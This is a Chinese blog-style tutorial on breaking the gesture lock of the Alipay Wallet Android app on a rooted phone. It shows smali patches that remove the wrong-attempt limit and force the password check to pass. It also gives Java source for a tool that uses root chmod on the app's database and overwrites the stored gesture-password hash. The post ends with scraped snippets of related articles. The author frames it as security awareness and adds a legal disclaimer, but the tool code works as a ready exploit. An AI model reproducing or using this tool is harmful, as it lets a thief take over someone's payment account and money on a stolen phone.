支付宝钱包手势password破解实战(root过的手机可直接绕过手势password)

/*

本文章由 莫灰灰 编写,转载请注明出处。

作者:莫灰灰    邮箱: [email protected]

*/

背景

随着移动互联网的普及以及手机屏幕越做越大等特点,在移动设备上购物、消费已是人们不可或缺的一个生活习惯了。随着这股浪潮的兴起,安全、便捷的移动支付需求也越来越大。因此,各大互联网公司纷纷推出了其移动支付平台。当中,用的比較多的要数腾讯的微信和阿里的支付宝钱包了。

就我而言,平时和同事一起出去AA吃饭。下班回家打车等日常生活都已经离不开这两个支付平台了。

正所谓树大招风,移动支付平台的兴起,也给众多一直徘徊在网络阴暗地带的黑客们重新重生的机会。

由于移动平台刚刚兴起,人们对移动平台的安全认识度还不够。就拿我身边的非常多朋友来说,他们一买来手机就開始root,之后卸载预装软件,下载游戏外挂等等。

今天,我们就以破解支付宝钱包的手势password为例,来深入了解下android系统上的一些安全知识,希望能引起人们对移动平台安全的重视。

在此申明:下面文章涉及的代码与分析内容仅供android系统安全知识的学习和交流使用,不论什么个人或组织不得使用文中提到的技术和代码做违法犯罪活动,否则由此引发的不论什么后果与法律责任本人概不负责。

实验环境

红米TD版

MIUI-JHACNBA13.0(已越狱)

支付宝钱包8.1.0.043001版

使用工具

APK IDE

Smali.jar

Ddms

SQLite Expert

应用宝

程序分析

准备阶段

安装完支付宝钱包之后,执行软件,我这里选择淘宝帐号登录。界面如图1所看到的。

图1

登录之后,设置手势password,如图2所看到的。

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvaHUzMTY3MzQz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" >

图2

完毕上述两步之后,退出支付宝进程。

用腾讯应用宝定位到支付宝的安装文件夹\data\data\com.eg.android.AlipayGphone,查看文件夹结构如图3所看到的。

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvaHUzMTY3MzQz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" >

图3

实战開始 - 破解手势password错误次数限制

看到图3所看到的的文件夹结构,推測databases文件夹下的*.dB数据库文件就是用来保存上述我们设置的password的。

因此,我们使用应用宝的导出功能将databases文件夹导出到本地。用SQLite Expert工具打开全部的dB文件。分析发现alipayclient.db数据库中的userinfo表中保存了username、输入错误次数、手势password等具体信息,如图4所看到的。当中的gestureErrorNum字段应该就是保存了手势password输入错误的次数了,非常明显这里已经被加密了。

图4

使用APK IDE对支付宝的安装包进行解包分析。

解包完毕之后,搜索setgestureErrorNum字样。结果如图5所看到的。

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvaHUzMTY3MzQz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" >

图5

经过大致分析。UserInfoDao.smali文件里的addUserInfo函数比較可疑,截取当中一段设置手势password错误次数的代码例如以下:

invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGestureErrorNum()Ljava/lang/String;

move-result-object v1

#调用getGestureErrorNum函数获得未加密的错误次数,并保存到v1寄存器

invoke-virtual {v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String;

move-result-object v2

#调用getUserId函数获得user id,并保存到v2寄存器

invoke-static {v2},Lcom/alipay/mobile/security/gesture/util/GesutreContainUtil;->get8BytesStr(Ljava/lang/String;)Ljava/lang/String;

move-result-object v2

#获取user id的前8个字节,保存到v2寄存器

invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;

move-result-object v1

#以user id的前8字节作为key。调用des加密错误次数字符串,并保存到v1寄存器

invoke-virtual {v0, v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V

#调用setGestureErrorNum函数。将加密的字符串保存

通过对上述代码的分析得知。第一次getGestureErrorNum的调用取出的错误次数应该是未加密的字符串,加入log代码验证,代码如图6所看到的。

图6

保存改动的smali文件,又一次编译打包。安装完毕之后,输入错误的手势password,log输出数字依次递增。

最后一次输入正确的手势password,错误次数又一次归0。LogCat捕捉到的日志如图7所看到的。

图7

程序分析到这里,我不禁推測,在错误次数未加密前,把v1寄存器的值设置为字符串“0”是不是就能够骗过支付宝而能够无限次的输入手势password了呢?于是乎。我又開始了以下的验证,代码如图8所看到的。

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvaHUzMTY3MzQz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" >

图8

编译打包,又一次安装支付宝,输入错误的手势password,发现5次错误之后程序还是让我们又一次登录。看来我们这里设置错误次数已经晚了,于是乎,继续搜索调用addUserInfo函数来加密gestureErrorNum的地方。当中,AlipayPattern.smali文件的settingGestureError函数引起了我的注意。函数代码例如以下:

.method publicsettingGestureError(Lcom/alipay/mobile/framework/app/ui/BaseActivity;Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;I)V

.locals 1

new-instance v0, Ljava/lang/StringBuilder; #初始化StringBuilder实例

invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V

invoke-virtual {v0, p3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;

#p3是一个I类型的整型变量,调用StringBuilder. append赋值

move-result-object v0

invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v0      #调用toString函数转换成字符串类型,赋给v0

invoke-virtual {p2, v0},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->setGestureErrorNum(Ljava/lang/String;)V#调用setGestureErrorNum设置未加密的错误次数字符串

invoke-static {},Lcom/alipay/mobile/framework/AlipayApplication;->getInstance()Lcom/alipay/mobile/framework/AlipayApplication;

move-result-object v0

invoke-static {v0},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->getInstance(Landroid/content/Context;)Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;

move-result-object v0

invoke-virtual {v0, p2},Lcom/alipay/mobile/framework/service/ext/dbhelper/SecurityDbHelper;->addUserInfo(Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;)Z

#调用SecurityDbHelper.addUserInfo函数加密、更新数据库

return-void

.end method

分析到这里,想必这里才是最原始的设置手势输入错误次数的地方吧,改动p3的值为0,測试代码如图9所看到的。

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvaHUzMTY3MzQz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" >

图9

继续打包、编译、測试。

任意输入错误的手势password,支付宝始终显示“password错误。还能够输入5次”字样。如图10。

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvaHUzMTY3MzQz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" >

图10

至此,手势password中的错误次数限制已经被我们解除了。

理论上来说,我们能够使用穷举法来获取支付宝的手势password。可是,作为一名分分钟几百万上下的大黑阔来说,使用穷举法来获得password这样的方式。显然是在浪费生命和金钱呀。

越战越勇 – 查找关键跳转

对于大黑阔们来说,仅仅破解手势输入错误次数限制显然是不够的。以下我们以手势password的存储展开来说起。

查看alipayclient.db数据库的userinfo表可知。手势password的存储字段为gesturePwd。搜索getGesturePwd函数得到如图11的结果。

图11

搜索到的结果比較多,依据前面对手势password错误次数限制的分析,这里能够排除几个文件,比如UserInfoDao.smali文件,它主要用来保存一些用户态的信息。可临时跳过。剩下的smali文件,我们一个个分析过来。在这里我想说的一点是,逆向分析确实是非常考验一个人耐心和细心的一件事情,一个恍惚就会迷失在浩瀚的汇编代码中,可是等到你找到关键的调用点,分析出核心的算法时。那么心境会豁然开朗,真是有种踏破铁鞋无觅处,得来全不费工夫的感脚。好了,扯远了,以下我们继续。

经过我的细致分析,e.smali文件最有可能是比較输入password的地方。双击上面e.smali文件的LINE 47行,跳转到的是a函数。因为函数比較长,仅仅贴关键部分。代码例如以下:

.method public final a(Ljava/lang/String;)V

.locals 4

invoke-virtual {p1},Ljava/lang/String;->length()I #取输入字符串的长度

move-result v0

sget v1,Lcom/alipay/mobile/security/gesture/component/LockView;->MINSELECTED:I

if-ltv0, v1, :cond_1  #比較字符串长度

:try_start_0

iget-object v0, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;#获取UserInfo对象

invoke-virtual {v0}, Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String;#调用UserInfo的getGesturePwd函数获得加密过的正确的手势password

move-result-object v0

invoke-virtual {v0}, Ljava/lang/String;->length()I #取加密过的正确password的长度

move-result v0

const/16 v1, 0x20

if-le v0, v1, :cond_0 #长度是否小于32

new-instance v0, Ljava/lang/StringBuilder;

invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V #初始化StringBuilder对象

invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

#将输入的明文手势password赋值给StringBuilder对象

move-result-object v0

iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;

invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getUserId()Ljava/lang/String;#调用UserInfo的getUserId函数获取user id

move-result-object v1

const-string/jumbo v2, "userInfo"

invoke-static {v1, v2}, Lcom/alipay/mobile/common/security/Des;->encrypt(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;#调用des加密函数,以“userInfo”为key,加密user id字符串

move-result-object v1

invoke-virtual {v0, v1},Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

#将加密好的user id字符串附加到StringBuilder对象上

move-result-object v0

invoke-virtual {v0},Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

move-result-object v0

#StringBuilder对象(输入明文手势的password + 加密后的user id)转字符串。并赋值给v0寄存器

invoke-static {v0}, Lcom/alipay/mobile/security/gesture/util/SHA1;->sha1(Ljava/lang/String;)Ljava/lang/String;

#调用静态的sha1函数,计算出一个hash值

move-result-object v0

:goto_0

iget-object v1, p0,Lcom/alipay/mobile/security/gesture/component/e;->a:Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;

invoke-virtual {v1},Lcom/alipay/mobile/framework/service/ext/security/bean/UserInfo;->getGesturePwd()Ljava/lang/String;#调用UserInfo的getGesturePwd函数获得加密过的正确的手势password

move-result-object v1

invoke-virtual {v0, v1},Ljava/lang/String;->equals(Ljava/lang/Object;)Z

#比較输入的password和正确的password

move-result v0

if-eqz v0, :cond_1

非常显然。上面这个if-eqz是关键,假设比較函数equals返回false,那么跳转到cond_1标签处。cond_1标签处的主要任务就是取当前输入错误的次数。在这个基础上加上1。然后调用settingGestureError函数又一次设置错误次数。假设两个字符串相等。那么调用settingGestureError函数把错误次数又一次置为0。

以下为了验证我们的推測,进行例如以下两步操作:

1、在a函数中加入类似如图12的打印日志代码。这里未所有截图下来,其它地方留给读者自行加入。

图12

2、在if-eqz v0前patch v0,代码如图13所看到的。

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvaHUzMTY3MzQz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" >

图13

完毕上述两步操作之后,保存改动过的smali文件。编译打包,又一次安装支付宝钱包client。任意输入手势password。

这里引用大魔术师刘谦的一句话,“接下来就是见证奇迹的时刻”。在我们任意输入password之后,熟悉的支付宝主界面出如今我们眼前。同一时候LogCat输出日志如图14所看到的。

图14

日志的组成大致例如以下:

第一行:用户输入的,还未加密的手势代码;

第二行:保存在数据库中正确的加密后的手势password。

第三行:未加密的user id;

第四行:採用des加密后的user id;

第五行:拼接用户输入和加密后的user id;

第六行:採用sha1算法计算出来的加密之后的用户输入的手势password。

通过细致的分析日志。我们从中能够得出两个结论:

1、真实的手势password和我们输入的password是不一样的。可是我们还是进入了支付宝的主界面,证明我们上面第2步中改动的地方很关键,从而也印证了e.smali文件的a函数确实是比較用户输入和真实password的关键函数。

2、支付宝是将用户的手势操作转化成相应的数字,然后再做一定的加密处理之后保存到数据库中。比較用户输入的时候,是用同样的加密步骤对用户输入进行加密,再与数据库中保存的password做比較。数字代码相应如图15所看到的。

watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvaHUzMTY3MzQz/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" >

图15

程序分析到这里,我们已经清楚的明确了支付宝手势password的加密过程和算法,而且通过改动关键跳转的方法。使得我们任意输入手势password都能够进入支付宝主界面。

细致思考 – 还原手势password?

回过头来细致想想,手势password的加密流程是这种,用户输入+user id组成一个字符串。将该字符串经过sha1算法哈希之后得到还有一个加密字符串即为手势password。

当中,user id字符串在alipayclient.db数据库的userinfo表中的userId字段已经表明了。正确的手势passwordgesturePwd字段也已经有了。尽管sha1算法不可逆。可是在我们的这个实例中,最长输入是9位,最短为4位,我们全然能够通过已知的信息,採用有限的穷举,就能得出正确的手势代码了。相信对于如今的4核乃至8核cpu手机来说。这点计算应该是非常轻松的。

可是,我们难道仅仅能通过穷举来实现暴力破解吗?答案是否定的。

事实上我们全然能够自己构造一个输入。比如0123。採用和支付宝全然同样的加密流程得到手势password。

然后,通过改动userinfo表的gesturePwd字段内容为上面我们计算出来的手势password。这样,就能实现任意改动手势password的目的了。想法有了,以下我们编写代码来验证该方法是否可行。

代码实现

查看支付宝使用的sha1算法可知。该算法与支付宝的总体功能业务耦合度基本为0,于是我将sha1算法所在的smali文件转换成jar包,然后导入到我的project中,这样。就能够直接调用和支付宝全然同样的sha1算法了。

程序代码例如以下所看到的:

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

setTitle("支付宝手势password改动器");

szUerIdString = "";

tvStatus = (TextView)findViewById(R.id.textStatus);

etEncryptUserid = (EditText)findViewById(R.id.editEncryptUserId);

etDecryptUserid = (EditText)findViewById(R.id.editDecrypUserId);

etMyPwd = (EditText) findViewById(R.id.editMyselfPwd);

btnOK = (Button)findViewById(R.id.btnSetting);

if(!RootUtils.hasRootPermission()) {

tvStatus.setText("本程序仅仅能在ROOT过的手机上执行。");

return;

}

if(!RootUtils.hasInstalledApp(MainActivity.this, "com.eg.android.AlipayGphone")){

tvStatus.setText("请确认您已经安装了支付宝钱包!");

return;

}

String szUserId =getUserId();

if (!szUserId.isEmpty()) {

szUerIdString =szUserId;

etEncryptUserid.setText(szUserId);

tvStatus.setText("读取user id成功。请输入自己定义手势password!

");

StringszDecryptUserid = decryptUserid(szUserId, "userInfo");

if(!szDecryptUserid.isEmpty()) {

etDecryptUserid.setText(szDecryptUserid);

}

else {

tvStatus.setText("解密user id失败!");

}

btnOK.setOnClickListener(newOnClickListener() {

@Override

public void onClick(View view) {

StringszPwd = etMyPwd.getText().toString();

if(szPwd.isEmpty()) {

Toast.makeText(MainActivity.this, "设置的自己定义password不能为空,请又一次输入!", Toast.LENGTH_LONG).show();

}

else{

StringBuildersBuilder = new StringBuilder();

sBuilder.append(szPwd);

sBuilder.append(szUerIdString);

Stringtmp = sBuilder.toString();

Stringsha1 = com.alipay.mobile.security.gesture.util.SHA1.sha1(tmp);

Log.v(TAG,sha1);

if(!sha1.isEmpty()) {

if(updateDatabaseGesturePwd(szUerIdString, sha1)) {

tvStatus.setText("设置自己定义password成功!");

}

else{

tvStatus.setText("设置自己定义password失败!");

}

}

}

}

});

}

else {

tvStatus.setText("获取user id失败。");

}

}

获取user id和改动手势password的代码例如以下:

// 获取加密的user id

private String getUserId()

{

String szRet = "";

// 改动数据库文件的读写权限

RootUtils.RootCommand("chmod666 /data/data/com.eg.android.AlipayGphone/databases/alipayclient.db");

RootUtils.RootCommand("chmod666/data/data/com.eg.android.AlipayGphone/databases/alipayclient.db-journal");

try {

Context context =createPackageContext("com.eg.android.AlipayGphone",  Context.CONTEXT_IGNORE_SECURITY);

SQLiteDatabase dB=context.openOrCreateDatabase("alipayclient.db", 0, null);

Cursor cursor =db.rawQuery("select * from userinfo", null);

if (cursor.moveToFirst()) {

szRet =cursor.getString(USER_ID_INDEX) ;

}

db.close();

} catch(NameNotFoundException e1) {

e1.printStackTrace();

}

return szRet;

}

// 改动手势password

private booleanupdateDatabaseGesturePwd(String szUerId, String szPwd) {

boolean bRet = false;

if (szPwd.isEmpty() ||szUerId.isEmpty()) {

return bRet;

}

try {

Context context =createPackageContext("com.eg.android.AlipayGphone",  Context.CONTEXT_IGNORE_SECURITY);

SQLiteDatabase dB=context.openOrCreateDatabase("alipayclient.db", 0, null);

ContentValues cv =new ContentValues();

cv.put("gesturePwd",szPwd);

String[] args ={String.valueOf(szUerId)};

int n =db.update("userinfo", cv, "userId=?", args);

if (n> 0) {

bRet =true;

}

db.close();

} catch(NameNotFoundException e1) {

e1.printStackTrace();

}

return bRet;

}

最后。程序执行效果如图16所看到的。

图16

输入自己定义password,点击确认,程序提示设置成功。此时,打开支付宝,输入我们的自己定义手势代码就可以解锁支付宝进入熟悉的主界面了。

后记

如上所述,通过改动支付宝钱包数据库来达到破解目的的方法是须要在已经root过的手机上才干使用的。设想一下这样的情况,我的手机已经root,而且手机被盗。

那么。除了手机上的艳照有可能泄露之外,小偷还能够通过改动支付宝的手势password来登录我的支付宝,因此,造成直接的金钱损失也不是没有可能。

一般来说。普通用户日常使用的手机尽量不要去root,也不要随便去下载来历不明的软件和外挂。

时间: 2024-10-07 11:04:13

支付宝钱包手势password破解实战(root过的手机可直接绕过手势password)的相关文章

[转载]支付宝钱包手势密码破解实战(root过的手机可直接绕过手势密码)

/* 本文章由 莫灰灰 编写,转载请注明出处. 作者:莫灰灰    邮箱: [email protected] */ 背景 随着移动互联网的普及以及手机屏幕越做越大等特点,在移动设备上购物.消费已是人们不可或缺的一个生活习惯了.随着这股浪潮的兴起,安全.便捷的移动支付需求也越来越大.因此,各大互联网公司纷纷推出了其移动支付平台.其中,用的比较多的要数腾讯的微信和阿里的支付宝钱包了.就我而言,平时和同事一起出去AA吃饭,下班回家打车等日常生活都已经离不开这两个支付平台了. 正所谓树大招风,移动支付

支付宝钱包手势密码破解实战(root过的手机可直接绕过手势密码)

/* 本文章由 莫灰灰 编写,转载请注明出处. 作者:莫灰灰    邮箱: [email protected] */ 背景 随着移动互联网的普及以及手机屏幕越做越大等特点,在移动设备上购物.消费已是人们不可或缺的一个生活习惯了.随着这股浪潮的兴起,安全.便捷的移动支付需求也越来越大.因此,各大互联网公司纷纷推出了其移动支付平台.其中,用的比较多的要数腾讯的微信和阿里的支付宝钱包了.就我而言,平时和同事一起出去AA吃饭,下班回家打车等日常生活都已经离不开这两个支付平台了. 正所谓树大招风,移动支付

支付宝钱包手势密码破解实战

背景 随着移动互联网的普及以及手机屏幕越做越大等特点,在移动设备上购物.消费已是人们不可或缺的一个生活习惯了.随着这股浪潮的兴起,安全.便捷的移动支付需求也越来越大.因此,各大互联网公司纷纷推出了其移动支付平台.其中,用的比较多的要数腾讯的微信和阿里的支付宝钱包了.就我而言,平时和同事一起出去AA吃饭,下班回家打车等日常生活都已经离不开这两个支付平台了. 正所谓树大招风,移动支付平台的兴起,也给众多一直徘徊在网络阴暗地带的黑客们又一次重生的机会.因为移动平台刚刚兴起,人们对移动平台的安全认识度还

Android 支付宝钱包手势password裂纹战斗

底 随着移动互联网和手机屏幕越做越大的普及等..购物在移动设备上.消费是必不可少的人们习惯于生活. 随着这股浪潮的兴起,安全.便捷的移动支付的需求也越来越大.故,各大互联网公司纷纷推出了移动支付平台.间.支付宝钱包了.就我而言.平时和同事一起出去AA吃饭.下班回家打车等日常生活都已经离不开这两个支付平台了. 正所谓树大招风,移动支付平台的兴起,也给众多一直徘徊在网络阴暗地带的黑客们重新重生的机会.由于移动平台刚刚兴起.人们对移动平台的安全认识度还不够.就拿我身边的非常多朋友来说,他们一买来手机就

微信支付与支付宝钱包的竞争分析

NO1: 十九世纪七十年代起,“物竞天择,适者生存,优胜劣汰”已逐渐成为现代生物学的口号.而今,不知不觉中,它似乎也成了当代社会学的口号.罗素说:“竞争一直是,甚至从人类起源起就是对大部分激烈活动的剌激物.”所谓“长江后浪推前浪”,在人类资讯的迅速积累之下,如果不能追上时代,自然就要被淘汰了.竞争,已经成了当代社会政治经济发展的重要基础与必然趋势. 从远古时期的以物换物,到后来货币的出现,直到宋朝时第一张纸币“交子”问世,随着经济的不断发展,货币的形式也在不断地变化着. 2003年10月18日,

Andriod手势密码破解

★ 引子 之前在Freebuf上看到一片文章讲Andriod的手势密码加密原理,觉得比较有意思,所以就写了一个小程序试试. ★ 原理            Android的手势密码加密原理很简单: 先给屏幕上的每一个点编号(一般是 3 X 3): 00,01,02 03,04,05 06,07,08 注意这里的数字都是十六进制. 假设我沿着左边和下边画了一个 L 字,则手势的点排列顺序 sequence 是 00,03,06,07,08. 然后计算密文 C = SHA-1(sequence),然

支付宝移动支付之IOSApp调用支付宝钱包

最近客户提出要开发一个IOS上的app作为访问他们网站的途径之一,为什么说之一呢,因为目前PC和Mobile这两个站目前都已经上线了. 所以问题就简单了,我们只需要把mobile站UI修改一下,然后在根据客户的新需求修改下程序,之后把这个站套个IOS的壳子就可以了. 那么问题来了,我们的mobile支付的时候调用的是支付宝的网页支付,这个页面是支付宝的,我们没办法修改,所以如果套在壳子里继续使用这种支付方式会有点不伦不类的感觉,所以我们就决定调用支付宝钱包,也就是支付宝客户端. 下面是我参考支付

浅析hybrid模式下地支付宝钱包和微信

开篇 近期一直在为插件式开发而不断探询,对于android端已经有一套插件式开发的框架,有通过java的反射机制实现的plugin,但目前我还没有找到一套完整的开源的框架,后期继续寻找.而对于iOS端,由于object-c没有java的反射机制,于是就想到了动态加载的方式,而网友们发现苹果公司禁止开发者使用动态库,而只允许使用静态库,所以使用加载动态库的方式目前是行不通了. 那现在就剩下两条路,就是采用webapp开发和hybrid模式,对于webapp,现在也是许多人探索的道路了,这种方式的好

ios--集成支付宝钱包支付iOS SDK的方法与经验

文/胖花花(简书作者)原文链接:http://www.jianshu.com/p/fe56e122663e著作权归作者所有,转载请联系作者获得授权,并标注“简书作者”. 没想到,支付宝的SDK是我目前用过的所有第三方SDK中最难用的一个了. 下载 首先,你要想找到这个SDK,都得费点功夫.现在的SDK改名叫移动支付集成开发包了,下载页面在 这里 的 “请点此下载集成开发包” Baidu和Googlep排在前面的支付宝开放平台,里面的SDK已经是2年前的版本了,而且还不支持64位架构. 文档 压缩